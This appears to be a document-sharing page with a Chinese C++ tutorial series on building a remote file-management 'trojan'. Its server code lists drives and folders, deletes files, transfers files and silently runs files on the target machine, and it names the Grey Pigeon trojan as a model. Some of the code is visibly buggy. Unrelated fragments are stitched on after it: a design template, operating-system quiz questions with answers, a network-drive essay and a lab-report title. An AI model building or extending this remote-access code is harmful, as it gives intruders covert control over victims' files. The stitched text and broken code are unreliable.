当前位置:文档之家› C++实现文件传输

C++实现文件传输

C++实现文件传输
C++实现文件传输

c++实现文件传输之一:框架结构和界面实现

在木马中文件管理的重要性,是无需质疑的,对于文件的管理,做到并不难,但做好却也不易在我们编写一个功能完整的“文件木马”

其实现效果如图所示。为了文章的完整性,我们将分为数篇来介绍,本文主要介绍程序的整体框架和界面实现,在以后的文章中将以此框架为基础实现详细的功能。

实现:枚举磁盘,枚举目录,获取文件信息

上传文件,下载文件,执行文件,创建目录,删除目录等

传输控制结构

要实现客户端与服务端的通信,设计一个合理的传输控制结构,会使后面的工作轻松很多,为了使代码易读

首先对要使用的命令进行预定义其各个命令定义如下

#define GetDriver 0x01 //磁盘信息

#define GetDirInfo 0x02 //目录信息

#define ExecFile 0x03 //执行文件

#define GetFile 0x04 //下载文件

#define PutFile 0x05 //上传文件

#define DelFile 0x06 //删除文件

#define DelDir 0x07 //删除目录

#define CreateDir 0x08 //创建目录

#define FileInfo 0x09 //文件信息

#define GetScreen 0x10 //查看屏幕

在程序的网络通信中主要有操作命令 ,命令对像,和具体数据三部分,对于命令的传输定义如下结构

typedef struct

{

int ID; //操作命令

BYTE lparam[BUF_LEN*2]; //命令对像

}COMMAND;

因为在程序中打交道最多的就是文件,对文件的详细属性定义如下结构

typedef struct

{

char FileName[MAX_PATH]; //文件名称

int FileLen; //文件长度

char Time[50]; //时间信息

BOOL IsDir; //为目录否

BOOL Error; //错误信息

HICON hIcon; //图标句柄

}FILEINFO;

服务端结构

服务端还是比较简单的其整体思路如下

1.服务端循环接受连接,并把连接交给线程处理

2.线程接受"命令数据",并跟据命令ID将命令对像和SOCKET句柄传给处理函数

3.函数执行指定功能,并返回执行结果

对整体结构的描述,我们用伪代码表述如下

main()

{ /*初示化设置......*/

while(true)

{

if(client=accept(server,(sockaddr *)&clientaddr,&len))//循环接受连接{

CreateThread(NULL,NULL,SLisen,(LPVOID)client,NULL,NULL);//传递线程处理

}

}

/*清理释放资源......*/

WSACleanup();

}

服务端程序运行后循环接受连接,如果有新的连接就传递给新的线程处理,线程代码如下

DWORD WINAPI SLisen(LPVOID lparam)

{

SOCKET client=(SOCKET)lparam;

COMMAND command;

while(1)

{

if(recv(client,(char*)&command,sizeof(command),0)==SOCKET_ERROR)//接受命令数据

{

cout<<"The Clinet Socket is Closed/n";

break;

}else

{

switch(command.ID)//判断命令ID

{

case GetDriver://将命令对像和SOCKET句柄传递给处理函数

GetDriverProc (command,client);

break;

case DelFile:

DelFileProc (command,client);

break;

/*其它命令......*/

}

}

}

}

线程式的功能是接受客户端的"命令数据",并跟跟据命令ID 将命令对像传递给处理函数,由函数完成指定的功能

以删除文件命令为例其函数格式如下

DWORD DelFileProc (COMMAND command,SOCKET client)

{

if(DeleteFile((char*)command.lparam)==0)//command.lparam为命令对像,这里为要删除的文件路径

{

send(client,"删除失败...");

}

else

{

send(client,"删除成功...");

}

}

很容易看出,处理函数接受"命令对像"和客户端SOCKET句柄,执行后会把结果传递回去....

客户端结构

客户端结构的实现思路如下

1.跟服务端建立连接

2.发送用户命令

3.启动一个线程,用于接受服务端的返回信息

对整体结构的描述,我们用伪代码表述如下

void CMyDlg::OnConnect()

{

if(connect(server,(SOCKADDR*)&serveraddr,sizeof(serveraddr))<0)//连接....

{

return ;

}

CreateThread(NULL,NULL,CLisen,this,NULL,NULL);//创建线程用于接受SERVER返回信息

}

对于用户发送的命令我们仍以删除文件为例说明其代码如下

void CMyDlg::OnMenuDelFile()

{

HTREEITEM CurrentNode = m_tree.GetSelectedItem(); //取得选择的节点CString FullPath =GetFullPath(CurrentNode); //取得节点全目录COMMAND command;

command.ID=DelFile; //设置命令为删除文件 //删除文件

command.lparam=FullPath.LockBuffer()); //将路径加入命令对像

send(server,command);

}

用于接受SERVER返回信息的线程,和服务端接受命令线程相似,这里就不再说明了,有兴趣可以看下源代码

到这里程序的流程框架就介绍完了,下面我们再看一下程序的界面设置.

界面实现

程序的主界面如上图所示,主程序是一个对话框,主要包括一个树控件m_tree 和列表控件m_list分别

用于显示磁盘目录和文件,在对话框初示化时用以下代码设置树控件的属性

DWORD dwStyle = GetWindowLong(m_tree.m_hWnd,GWL_STYLE);

dwStyle |=TVS_HASBUTTONS | TVS_HASLINES | TVS_LINESATROOT; SetWindowLong(m_tree.m_hWnd,GWL_STYLE,dwStyle);

对于列表框控件则没有太多要求,要留意的是,如果显示图标应该把Styles显示属性设置为ICON

VC的做出的界面,常常让人有种摔键盘的冲动。其实稍微留意一下其设置,也可以让它漂亮一些

比如上图所示的界面就是经过简单设置得到的,而没有用其它类库,有点兴趣?其设置方法为:

1.在对话框属性中设置Styles 的Border属性为Thin

2.选重More Styles "可见" 属性

3.选重Extended Styles的"静态边"属性

这样再运行一下程序是不是感觉清新不少?

到这里程序的主要结构框架和界面实现就介绍完了,下一篇将详细介绍其各种功能的实现

c++实现文件传输之二

在上一篇中,我们以经介绍了程序的流程和框架,在本篇将详细讨论各个功能的实现主要包括

1.获取磁盘信息

2.获取目录信息

3.获取文件信息

4.运行指定文件

5.删除指定文件

6.删除指定目录

7.创建指定目录

8.上传下载文件

9.获取远程文件图标

获取磁盘信息

磁盘信息可以用API GetDriveType来实现,它以路径名作为参数(如C:/)返回磁盘类型,其实例代码如下

DWORD GetDriverProc(COMMAND command,SOCKET client)

{

for(char i='A';i<='Z';i++)

{

char x[20]={i,':'};

UINT Type=GetDriveType(x);

if(Type==DRIVE_FIXED||Type==DRIVE_REMOVABLE||Type==DRIVE_CDROM) {

/*返回处理结果...*/

}

}

return 0;

}

GetDriveType可能返回的结果如下

#define DRIVE_UNKNOWN 0 // 无效路径名

#define DRIVE_NO_ROOT_DIR 1 // 无效路经,如无法找到的卷标

#define DRIVE_REMOVABLE 2 // 可移动驱动器

#define DRIVE_FIXED 3 // 固定的驱动器

#define DRIVE_REMOTE 4 // 网络驱动器

#define DRIVE_CDROM 5 // CD-ROM

#define DRIVE_RAMDISK 6 // 随机存取(RAM)磁盘

在上面的实例代码中我们只取,硬盘,光驱和移动磁盘

获取目录信息

这里只要枚举用户指定的目录就可以了,其实例代码如下:

DWORD GetDirInfoProc(COMMAND command,SOCKET client)

{

/*command为要枚举的路径如(C:/)client为返回结果的SOCKET句柄*/

FILEINFO fi;

memset((char*)&fi,0,sizeof(fi));

strcat((char*)command.lparam,"*.*");//枚举所有文件

CFileFind file;

BOOL bContinue = file.FindFile((char*)command.lparam);

while(bContinue)

{

memset((char*)&fi,0,sizeof(fi));

bContinue = file.FindNextFile();

if(file.IsDirectory()) //为目录

{

fi.IsDir=true;

}

strcpy(fi.FileName,file.GetFileName().LockBuffer()); //保存文件名称

if(send(client,(char*)&fi,sizeof(cmd),0)==SOCKET_ERROR)

{

cout << "Send Dir is Error/n";

}

}

return 0;

}

获取文件信息

以下实例代码用来获取文件的名称,路径,时间,属性等信息

DWORD FileInfoProc (COMMAND command,SOCKET client)

{

/*command为要查看的文件如(C:/TEST.EXE)client为返回结果的SOCKET句柄*/ FILEINFO fi;

HANDLE hFile;

WIN32_FIND_DATA WFD;

memset((char*)&WFD,0,sizeof(WFD));

if((hFile=FindFirstFile((char*)command.lparam,&WFD))==INVALID_HANDLE_ VALUE) //查看文件属性

{

fi.Error=true;

return 0;

}

//得到文件的相关信息

SHGetFileInfo(WFD.cFileName,

FILE_ATTRIBUTE_NORMAL,

&shfi, sizeof(shfi),

SHGFI_ICON|SHGFI_USEFILEATTRIBUTES|SHGFI_TYPENAME );

strcpy(fi.FileName,(char*)command.lparam); //文件路径

FileLen=(WFD.nFileSizeHigh*MAXDWORD+WFD.nFileSizeLow)/1024; //文件长度

fi.FileLen=FileLen;

//转化格林时间到本地时间

FileTimeToLocalFileTime(&WFD.ftLastWriteTime,&localtime); FileTimeToSystemTime(&localtime,&systime);

//文件修改时间

sprintf(stime,"%4d-%02d-%02d %02d:%02d:%02d",

systime.wYear,systime.wMonth,systime.wDay,systime.wHour,

systime.wMinute,systime.wSecond);

if(GetFileAttributes((char*)command.lparam)&FILE_ATTRIBUTE_HIDDEN) {

/*隐藏文件...*/

}else

if(GetFileAttributes((char*)command.lparam)&FILE_ATTRIBUTE_READONLY) {

/*只读文件...*/

}

send(client,(char*)&fi,sizeof(fi),0);

FindClose(hFile);

return 0;

}

运行指定文件

运行文件有以下几种方法 1.WinExec 2.ShellExecute 3.CreateProcess

这里使用的是ShellExecute其实例代码如下

DWORD ExecFileProc (COMMAND command,SOCKET client)

{

/*command为要运行的文件路径如(C:/TEST.EXE)client为返回结果的SOCKET 句柄*/

COMMAND cmd;

memset((char*)&cmd,0,sizeof(cmd));

cmd.ID=ExecFile;

if(ShellExecute(NULL,"open",(char*)command.lparam,NULL,NULL,SW_HIDE)< (HINSTANCE)32)

{

strcpy((char*)cmd.lparam,"文件执行失败!");

send(client,(char*)&cmd,sizeof(cmd),0);

}

else

{

strcpy((char*)cmd.lparam,"文件执行成功!");

send(client,(char*)&cmd,sizeof(cmd),0);

}

return 0;

}

API函数ShellExecute原形为:

HINSTANCE ShellExecute(

HWND hwnd, //窗口句柄

LPCTSTR lpOperation, //操作类型

LPCTSTR lpFile, //文件指针

LPCTSTR lpParameters, //文件参数

LPCTSTR lpDirectory, //缺省目录

INT nShowCmd //显示方式

);

这是一个相当有意思的函数,在调用此函数时只须指定要执行的文件名,而不必管用什么程序去打开

或执行文件,WINDOWS会自动根据要打开或执行的文件去判断该如何执行文件或用什么程序去打开文件,如果

要求不高的话比CreateProcess要好用的多,如果想做出像NCPH和灰鸽子那样带参数执行的话,其实也不难

只要指定lpParameters为执行参数就可了

删除指定文件

DWORD DelFileProc (COMMAND command,SOCKET client)

{

/*command为要删除的文件路径如(C:/TEST.EXE)client为返回结果的SOCKET 句柄*/

COMMAND cmd;

memset((char*)&cmd,0,sizeof(cmd));

cmd.ID=DelFile;

SetFileAttributes((char*)command.lparam,FILE_ATTRIBUTE_NORMAL); //去掉文件的系统和隐藏属性

if(DeleteFile((char*)command.lparam)==0)

{

strcpy((char*)cmd.lparam,"文件删除失败!");

send(client,(char*)&cmd,sizeof(cmd),0);

}

else

{

strcpy((char*)cmd.lparam,"文件删除成功!");

send(client,(char*)&cmd,sizeof(cmd),0);

}

return 0;

需要注意的是在 DeleteFile前应该去文件的系统和隐藏属性,否则会删除失败删除目录

可以用RemoveDirectory函数删除目录,但是RemoveDirectory有个缺点就是只能删除为空的的目录,对于不为空

的目录就无能为力了,想要删除不无空的目录可以使用下面的实例代码

BOOL DeleteDirectory(char *DirName)

{

CFileFind tempFind;

char tempFileFind[200];

sprintf(tempFileFind,"%s*.*",DirName);

BOOL IsFinded=(BOOL)tempFind.FindFile(tempFileFind);

while(IsFinded)

{

IsFinded=(BOOL)tempFind.FindNextFile();

if(!tempFind.IsDots())

{

char foundFileName[200];

strcpy(foundFileName,tempFind.GetFileName().GetBuffer(200)); if(tempFind.IsDirectory())

{

char tempDir[200];

sprintf(tempDir,"%s//%s",DirName,foundFileName);

DeleteDirectory(tempDir);

}

else

{

char tempFileName[200];

sprintf(tempFileName,"%s//%s",DirName,foundFileName); SetFileAttributes(tempFileName,FILE_ATTRIBUTE_NORMAL); //去掉文件的系统和隐藏属性

DeleteFile(tempFileName);

cout <<"now delete "<

}

}

}

tempFind.Close();

if(!RemoveDirectory(DirName))

{

return FALSE;

return TRUE;

}

这个函数的代码可以参照上面枚举目录的代码来看,它的原理就是枚举目录下的所有文件并删除,最后删除

指定目录,成功返回TRUE失败则返回FALSE,这段代码可以直使用,但要小心使用,因为我在传参数时的失误

结果把整个D盘差点清空了..........

创建目录

实例代码如下:

DWORD CreateDirProc (COMMAND command,SOCKET client)

{

/*command为要创建目录的路径如(C:/)client为返回结果的SOCKET句柄*/ COMMAND cmd;

memset((char*)&cmd,0,sizeof(cmd));

cmd.ID=CreateDir;

if(::CreateDirectory((char*)command.lparam,NULL))

{

strcpy((char*)cmd.lparam,"创建目录成功!");

send(client,(char*)&cmd,sizeof(cmd),0);

}

else

{

strcpy((char*)cmd.lparam,"创建目录失败!可能有重名文件或文件夹");

send(client,(char*)&cmd,sizeof(cmd),0);

}

return 0;

}

在创建目录时应该注意几点,首先创始目录的上层目录必须是存在的,比如想创建C:/DIR1/DIR2目录,要求

DIR1是必须存在,用CreateDirectory并不能创建多级目录.再者不可以存在和要创建目录同名的目录和文件

因为在磁盘上目录和文件的存放格式是相同的,惟一不同的是目录的属性与文件属性不同

(FILE_ATTRIBUTE_DIRECTORY属性),所在即使有同名文件也会创始失败.

上传下载文件

上传下载是是文件管理的重点所在,在这里按文件的大小,分两种情况讨论文件的传输方法

小文件的传输相对比较简单可按以下方法进行

1.首先发送文件长度和名称

2.跟据文件长度建立缓冲区

3.读取整个文件到缓冲区

4.发送缓冲区里的内容

其实现代码如下:

CFile file;

FILEINFO fileinfo;

if(file.Open(path,CFile::modeRead|CFile::typeBinary))

{

fileinfo.FileLen=file.GetLength(); //文件长度

strcpy(fileinfo.FileName,file.GetFileName()); //文件名称

send(client,(char*)&fileinfo,sizeof(fileinfo),0); //发送长度和名称

char *date=new char[fileinfo.FileLen]; //分配和文件长度相同的缓冲区int nLeft=fileinfo.FileLen;

int idx=0;

file.Read(date,fileinfo.FileLen); //读整个文件到缓冲区

while(nLeft>0)

{

int ret=send(client,&date[idx],nLeft,0); //发送文件

if(ret==SOCKET_ERROR)

{

break;

}

nLeft-=ret;

idx+=ret;

}

file.Close();

delete[] date;

}

跟据上面的实例相信大家可以领悟到文件传输的基本原理和方法,虽然很简单但用它传输小文件还是非常实用的

大文件传输方法

用上面的方法传输小文件还可以,但是大文件呢?比如一个500M的电影.上面的方法就会力不从心了因为

按思路要创建一个跟文件大小相同的缓冲区,显然这是不太现实的,我们就得采用另种方法了,在这里我们使用

分块文件传输,所谓分块是指把大文件分成若干小文件,然后传输,比如设定每块大小为64KB其思路如下

1.取得文件长度和名称

2.跟据长度/64KB计算文件块数

3.分配64KB缓冲区

4.读文件到缓冲区

5.发送缓冲的数据

6.重复4,5两步直到发完所有数据

其实现代码如下:

#define CHUNK_SIZE (64*1024) //分为64K块传输

DWORD GetFileProc (COMMAND command,SOCKET client)

{

/*command为要下载文件的路径如(C:/TEST.EXE)client为发送文件的SOCKET 句柄*/

COMMAND cmd;

FILEINFO fi;

memset((char*)&fi,0,sizeof(fi));

memset((char*)&cmd,0,sizeof(cmd));

cmd.ID=GetFile;

CFile file;

int nChunkCount=0; //文件块数

if(file.Open((char*)command.lparam,CFile::modeRead|CFile::typeBinary) )//打开文件

{

int FileLen=file.GetLength(); //取文件长度

fi.FileLen=file.GetLength();

strcpy((char*)fi.FileName,file.GetFileName()); //取文件名称

memcpy((char*)&cmd.lparam,(char*)&fi,sizeof(fi));

send(client,(char*)&cmd,sizeof(cmd),0); //发送文件名称和长度

nChunkCount=FileLen/CHUNK_SIZE; //文件块数

if(FileLen%nChunkCount!=0)

nChunkCount++;

char *date=new char[CHUNK_SIZE]; //创建数据缓冲区

for(int i=0;i

{

int nLeft;

if(i+1==nChunkCount) //最后一块

nLeft=FileLen-CHUNK_SIZE*(nChunkCount-1);

else

nLeft=CHUNK_SIZE;

int idx=0;

file.Read(date,CHUNK_SIZE); //读取文件

while(nLeft>0)

{

int ret=send(client,&date[idx],nLeft,0);//发送文件

if(ret==SOCKET_ERROR)

{

break;

}

nLeft-=ret;

idx+=ret;

}

}

file.Close();

delete[] date;

}

return 0;

}

这样文件传输部分就完成了,止于客户端的实现于上面代码其本相同,只是由读文件变为写文件,详细请参考源代码

获取远程ICO文件图标

我们在文件列表框中需要显示文件的图标,但远程文件的ICO图标是无法直接得到的

猛若RADMIN 黑洞者也没有到(对于EXE文件只显示可执行程序图示),当然了也不见的决对没有......

我们可以通过如下变通方法得到:就是跟据文件的扩展名,从本地注册表中查找对应的程序图标

不过这也有它的缺点对于EXE文件它只能显示一个可执行文件的图示,而且只能显示注册过的图示比如,如果

本机装有WINRAR那么就可以识别.RAR的文件图示,否则就无法识别...

实现方法

CImageList m_ImageList;

m_ImageList.Create(32,32,ILC_COLOR32,10,30); //创建图示

m_list.SetImageList(&m_ImageList,LVSIL_NORMAL); //与列表控件相关连

SHFILEINFO info;

memset((char*)&info,0,sizeof(info));

SHGetFileInfo(fi->FileName,0,&info,sizeof(&info), SHGFI_ICON|SHGFI_ USEFILEATTRIBUTES);//关键所在

int i = m_ImageList.Add(info.hIcon);

m_list.InsertItem(i,fi->FileName,i);

原来我试图在Server端通过上面的代码把info.hIcon句柄保存下来,然后放到Client,在单台电脑上很好使,但

Server在另一台电脑上时就玩完了,因为info.hIcon里保存的句柄是个索引而每台机器上的索引是不相同的所以

直接导致的结果就是:什么也显示不出来....

c++实现文件传输之三:断点续传与多线程传输转

继木马编程DIY的上两篇,现在我们开始讨论断点续传与多线程文件传输的实现.其实这两项功能是下载软件所

必不可少的功能了,现在我们把它加到自己的木马中来感受感受.提到多线程下载,首先向网络蚂蚁的作者

洪以容前辈致敬,正是由于网络蚂蚁而使得多线程下载被关注并流行起来.在这本篇文章中我们将简单的实现

支持断点续传和多线程传输的程序.为了更清晰的说明问题,我们将断点续传与多线程传输分别用两个程序来实现

多线程传输实现

实现原理

将源文件按长度为分为N块文件,然后开辟N个线程,每个线程传输一块,最后合并所有线线程文件.比如

一个文件500M我们按长度可以分5个线程传输.第一线程从0-100M,第二线程从100M-200M......最后合并5个线程文件.

实现流程

1.客户端向服务端请求文件信息(名称,长度)

2.客户端跟据文件长度开辟N个线程连接服务端

3.服务端开辟新的线程与客户端通信并传输文件

4.客户端将每线程数据保存到一个文件

5.合并所有线程文件

编码实现

大体说来就是按以上步骤进行,详细的实现和一些要点,我们跟据以上流程在编码中实现

结构定义

在通信过程中需要传递的信息包括文件名称,文件长度,文件偏移,操作指令等信息,为了方便操作我们定义如下结构

代码:

typedef struct

{

char Name[100]; //文件名称

int FileLen; //文件长度

int CMD; //操作指令

int seek; //线程开始位置

SOCKET sockid;

}FILEINFO;

1.请求文件信息

客户端代码如下

代码:

FILEINFO fi;

memset((char*)&fi,0,sizeof(fi));

fi.CMD=1; //得到文件信息

if(send(client,(char*)&fi,sizeof(fi),0)==SOCKET_ERROR)

{

cout<<"Send Get FileInfo Error/n";

}

服务端代码如下

while(true)

{

SOCKET client;

if(client=accept(server,(sockaddr *)&clientaddr,&len)) {

FILEINFO RecvFileInfo;

memset((char*)&RecvFileInfo,0,sizeof(RecvFile Info));

if(recv(client,(char*)&RecvFileInfo,sizeof(Re cvFileInfo),0)==SOCKET_ERROR)

{

cout<<"The Clinet Socket is Closed/n"; break;

}else

{

EnterCriticalSection(&CS); //进入临界区

memcpy((char*)&TempFileInfo,(char*)&R ecvFileInfo,sizeof(RecvFileInfo));

switch(TempFileInfo.CMD)

{

case 1:

GetInfoProc ( client);

break;

case 2:

TempFileInfo.sockid= client;

CreateThread(NULL,NU LL,GetFileProc,NULL,NULL,NULL);

break;

}

LeaveCriticalSection(&CS); //离开临界区

}

}

}

在这里服务端循环接受连接,并跟据TempFileInfo.CMD来判断客户端的请求类型,1为请求文件信息,2为下载文件

因为在下载文件的请求中,需要开辟新的线程,并传递文件偏移和文件大小等信息,所以需要对线程同步.这里使用临界区

其文件信息函数GetInfoProc代码如下

代码:

DWORD GetInfoProc(SOCKET client)

{

CFile file;

if(file.Open(FileName,CFile::modeRead|CFile::typeBinary))

{

int FileLen=file.GetLength();

if(send(client,(char*)&FileLen,sizeof(FileLen),0)==SO CKET_ERROR)

{

cout<< "Send FileLen Error/n";

}else

{

cout<< "The Filelen is "<

}

}

return 0;

}

这里主要是向客户端传递文件长度,而客户端收到长度后则开辟线程进行连接传输文件

2.客户端跟据长度开辟线程

其实现代码如下

代码:

FILEINFO FI;

int FileLen=0;

if(recv(client,(char*)&FileLen,sizeof(FileLen),0)==SOCKET_ERR OR)//接受文件长度

{

cout<<"Recv FileLen Error/n";

}else

{

cout<<"FileLen is "<

int COUNT_SIZE=FileLen/5; //每线程传输大小

for(int i=0;i<5;i++) //分5个线程传输

{

EnterCriticalSection(&CS); //进入临界区

memset((char*)&FI,0,sizeof(FI));

FI.CMD=2; //请求下载文件

FI.seek=i*COUNT_SIZE; //线程文件偏移

if(i+1==5) //最后一线程长度为总长度减前4个线程长度

{

FI.FileLen=FileLen-COUNT_SIZE*i;

}else

{

FI.FileLen=COUNT_SIZE;

}

Thread=CreateThread(NULL,NULL,GetFileThread,& i,NULL,NULL);

Sleep(500);

LeaveCriticalSection(&CS); //离开临界区

}

}

WaitForMultipleObjects(5,Thread,true,INFINITE); //等所有线程结束

这里默认开辟5个线程传输,当然可以改为想要的线程数目,仍然用临界区来实现线程的同步问题

3.服务端开辟线程传输数据

在1.请求文件信息中以说明了服务端的结构,这里主要介绍线程函数的实现,其代码如下

代码:

DWORD WINAPI GetFileProc(LPVOID lparam)

{

EnterCriticalSection(&CS); //进入临界区

int FileLen=TempFileInfo.FileLen;

int Seek=TempFileInfo.seek;

SOCKET client=TempFileInfo.sockid;

LeaveCriticalSection(&CS); //离开临界区

CFile file;

if(file.Open(FileName,CFile::modeRead|CFile::typeBinary))

{

file.Seek(Seek,CFile::begin); //指针移至偏移位置

char *date=new char[FileLen];

int nLeft=FileLen;

int idx=0;

file.Read(date,FileLen);

while(nLeft>0)

{

int ret=send(client,&date[idx],nLeft,0);

if(ret==SOCKET_ERROR)

{

cout<<"Send Date Error /n";

break;

}

nLeft-=ret;

idx+=ret;

}

file.Close();

delete[] date;

}else

{

cout<<"open the file error/n";

}

closesocket(client);

return 0;

}

还是比较简单的,主要是获取线程的文件长度和偏移,并移动文件指针到偏移处,最后读取发送数据,而客户端

接受数据并写入文件.

4.客户端将线程数据保存到文件

GetFileThread的实现代码如下

代码:

DWORD WINAPI GetFileThread(LPVOID lparam)

{

char TempName[MAX_PATH];

sprintf(TempName,"TempFile%d",*(DWORD*)lparam); //每线程的文件名为"TempName"+线程数

SOCKET client;

SOCKADDR_IN serveraddr;

int port=5555;

client=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

serveraddr.sin_family=AF_INET;

serveraddr.sin_port=htons(port);

serveraddr.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");

if(connect(client,(SOCKADDR*)&serveraddr,sizeof(serveraddr))= =INVALID_SOCKET)

{

cout<<"Connect Server Error/n";

}

EnterCriticalSection(&CS); //进入临界区

if(send(client,(char*)&FI,sizeof(FI),0)==SOCKET_ERROR)

{

cout<<"Send GetFile Error/n";

return 0;

}

CFile file;

int FileLen=FI.FileLen; //文件长度

int Seek=FI.seek; //文件偏移

LeaveCriticalSection(&CS); //离开临界区

if(file.Open(TempName,CFile::modeWrite|CFile::typeBinary|CFil

文件传输工具项目概要

文件传输工具概要设计 1、引言 1.1编写目的 为了更好的开发本项目,特编写此文档 1.2背景 说明: a.系统的名称:文件传输工具 b.系统人员 开发提出: 开发人员:Hison 1.3定义 传输:传送 1.4参考资料 a.CSDN论坛; b.中国源代码网; c.Vb6.0开发教程。 2、总体设计 2.1需求规定 说明对本系统的主要的输入输出项目、处理的功能性能要求,详细的说明可参见附录C。 2.2运行环境 安装IE8以上版本的浏览器 2.3基本设计概念和处理流程

说明本系统的基本设计概念和处理流程,尽量使用图表的形式。 2.4功能器求与程序的关系 功能—方法IE事件拦截文件下载文件上传创建xml 输入验证 下载IE文件 上传文件 下载文件 2.6人工处理过程 说明在本软件系统的工作过程中不得不包含的人工处理过程(如果有的话)。 2.7尚未问决的问题 说明在概要设计过程中尚未解决而设计者认为在系统完成之前必须解决的各个问题。 3、接口设计 3.1用户接口 说明将向用户提供的命令和它们的语法结构,以及软件的回答信息。 3.2外部接口 说明本系统同外界的所有接口的安排包括软件与硬件之间的接口、本系统与各支持软件 之间的接口关系。 3.3内部接口 说明本系统之内的各个系统元素之间的接口的安排。 4、运行设计 4.1运行模块组合 说明对系统施加不同的外界运行控制时所引起的各种不同的运行模块组合,说明每种运 行所历经的内部模块和支持软件。 4.2运行控制

说明每一种外界的运行控制的方式方法和操作步骤。 4.3运行时间 说明每种运行模块组合将占用各种资源的时间。 5、系统数据结构设计 5.1逻辑结构设计要点 给出本系统内所使用的每个数据结构的名称、标识符以及它们之中每个数据项、记录、文卷和系的标识、定义、长度及它们之间的层次的或表格的相互关系。 5.2物理结构设计要点 给出本系统内所使用的每个数据结构中的每个数据项的存储要求,访问方法、存取单位、存取的物理关系(索引、设备、存储区域)、设计考虑和保密条件。 5.3数据结构与程序的关系 说明各个数据结构与访问这些数据结构的形式: 6、系统出错处理设计 6.1出错信息 用一览表的方式说朗每种可能的出错或故障情况出现时,系统输出信息的形式、含意及处理方法。 6.2补救措施 说明故障出现后可能采取的变通措施,包括:

进程同步与通信作业习题与答案

第三章 一.选择题(50题) 1.以下_B__操作系统中的技术是用来解决进程同步的。 A.管道 B.管程 C.通道 2.以下_B__不是操作系统的进程通信手段。 A.管道 B.原语 C.套接字 D.文件映射 3.如果有3个进程共享同一程序段,而且每次最多允许两个进程进入该程序段,则信号量的初值应设置为_B__。 4.设有4个进程共享一个资源,如果每次只允许一个进程使用该资源,则用P、V操作管理时信号量S的可能取值是_C__。 ,2,1,0,-1 ,1,0,-1,-2 C. 1,0,-1,-2,-3 ,3,2,1,0 5.下面有关进程的描述,是正确的__A__。 A.进程执行的相对速度不能由进程自己来控制 B.进程利用信号量的P、V 操作可以交换大量的信息 C.并发进程在访问共享资源时,不可能出现与时间有关的错误 、V操作不是原语操作 6.信号灯可以用来实现进程之间的_B__。 A.调度 B.同步与互斥 C.同步 D.互斥 7.对于两个并发进程都想进入临界区,设互斥信号量为S,若某时S=0,表示_B__。 A.没有进程进入临界区 B.有1个进程进入了临界区 C. 有2个进程进入了临界区 D. 有1个进程进入了临界区并且另一个进程正等待进入 8. 信箱通信是一种_B__方式 A.直接通信 B.间接通信 C.低级通信 D.信号量 9.以下关于临界区的说法,是正确的_C__。

A.对于临界区,最重要的是判断哪个进程先进入 B.若进程A已进入临界区,而进程B的优先级高于进程A,则进程B可以 打断进程A而自己进入临界区 C. 信号量的初值非负,在其上只能做PV操作 D.两个互斥进程在临界区内,对共享变量的操作是相同的 10. 并发是指_C__。 A.可平行执行的进程 B.可先后执行的进程 C.可同时执行的进程 D.不可中断的进程 11. 临界区是_C__。 A.一个缓冲区 B.一段数据区 C.一段程序 D.栈 12.进程在处理机上执行,它们的关系是_C__。 A.进程之间无关,系统是封闭的 B.进程之间相互依赖相互制约 C.进程之间可能有关,也可能无关 D.以上都不对 13. 在消息缓冲通信中,消息队列是一种__A__资源。 A.临界 B.共享 C.永久 D.可剥夺 14. 以下关于P、V操作的描述正确的是__D_。 A.机器指令 B. 系统调用 C.高级通信原语 D.低级通信原语 15.当对信号量进行V源语操作之后,_C__。 A.当S<0,进程继续执行 B.当S>0,要唤醒一个就绪进程 C. 当S<= 0,要唤醒一个阻塞进程 D. 当S<=0,要唤醒一个就绪 16.对临界区的正确论述是__D_。 A.临界区是指进程中用于实现进程互斥的那段代码 B. 临界区是指进程中用于实现进程同步的那段代码 C. 临界区是指进程中用于实现进程通信的那段代码 D. 临界区是指进程中访问临界资源的那段代码 17. __A__不是进程之间的通信方式。 A.过程调用 B.消息传递 C.共享存储器 D.信箱通信 18. 同步是指进程之间逻辑上的__A__关系。

文件传送常用的三种方式FTP

文件传送常用的三种方式FTP、Email及“网上邻居”都在一定程度上实现了文件数据的交流,但它们都主要面向“点对点”的传送,无法实现“一块空间,资源互见”的应用需求,这种基于“点对多”的共享模式需要寻求另外的传输途径,网络硬盘就是一种很好的解决方式。 常用传输方式及其在特定环境下面临的困难 我们经常有这样的应用需求:通过网络交换公共数据文件以实现资源共享,同时保护私有数据不被非法访问,并使用简单、直观的方式操作。我们常用的文件传输FTP、Email邮件、网上邻居都能实现文件的传送。其中,"Ftp"功能最为强大,但使用起来却稍显复杂,一大堆设置足以让许多人望而止步,尤其用户数量不可预见时,针对特殊需求用户的设置将更加繁琐;"Email"是大家所熟悉的了,但它的传送不仅需要你连入Internet,而且它的安全性也是个问题,在企业内部,财务、劳资等文件资料需通过这种方式交流不是好办法;"网上邻居"是又一种传送文件的方法,通过在本机上指定共享的Web文件夹并放置资源文件,一定范围内的用户可以访问到这些文件,然而这种方式使用的范围相当有限,通常在同一个DNS段地址内的用户才能顺利访问,其它尤其是Internet上的用户,很难使用,此外同Email类似,它的使用也不直观,很多时候你不得不在许多列表计算机上一层层展开搜索才有可能获取你想要的资源! 由此看来,以上三种方式虽然在一定程度上实现了文件数据的交流,但它们都主要面向"点对点"的传送(你只能被动地等对方放置数据而不能主动"可视化"地索取),无法实现"一块空间,资源互见"的应用需求,这种基于"点对多"的共享方式需要寻求另外的传输途径,网络硬盘就是一种很好的解决方式。 网络硬盘的优势 网络硬盘(也称共享空间),是服务器上的一块硬盘空间,在这里,如果你具备足够的权限,你可以对它随意操作,就象使用你的本地计算机一样。要知道,这一切以Http的方式传输,以Web的形式展现在所有用户面前,通过浏览器这种熟悉的方式访问,这样,"一块空间,资源互见"的共享模式得以实现!

进程的同步实验报告

操作系统 实验报告 哈尔滨工程大学 计算机科学与技术学院

